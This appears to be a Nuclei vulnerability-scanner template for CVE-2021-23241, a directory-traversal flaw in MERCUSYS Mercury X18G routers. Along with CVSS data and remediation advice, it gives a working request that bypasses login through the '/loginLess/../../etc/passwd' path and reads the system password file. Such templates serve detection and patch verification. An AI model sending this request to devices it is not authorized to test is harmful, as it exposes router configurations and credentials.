MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion

id: CVE-2021-23241

info:
  name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
  author: daffainfo
  severity: medium
  description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.
  reference:
    - https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
    - https://www.mercusys.com/en/
    - https://www.mercurycom.com.cn/product-521-1.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23241
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-23241
    cwe-id: CWE-22
    epss-score: 0.13436
    epss-percentile: 0.95969
    cpe: cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mercusys
    product: mercury_x18g_firmware
  tags: cve2021,cve,iot,lfi,router,mercusys,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/loginLess/../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206d9985a14bc2650b1aaf81b34cffc0a7f448ab306f2ad72c93195deb79cffcba022100e836d288a4479830bfc42efa29f922f8adda5686ae9608dae6dd5cb84d754831:922c64590222798bb761d5b6d8e72950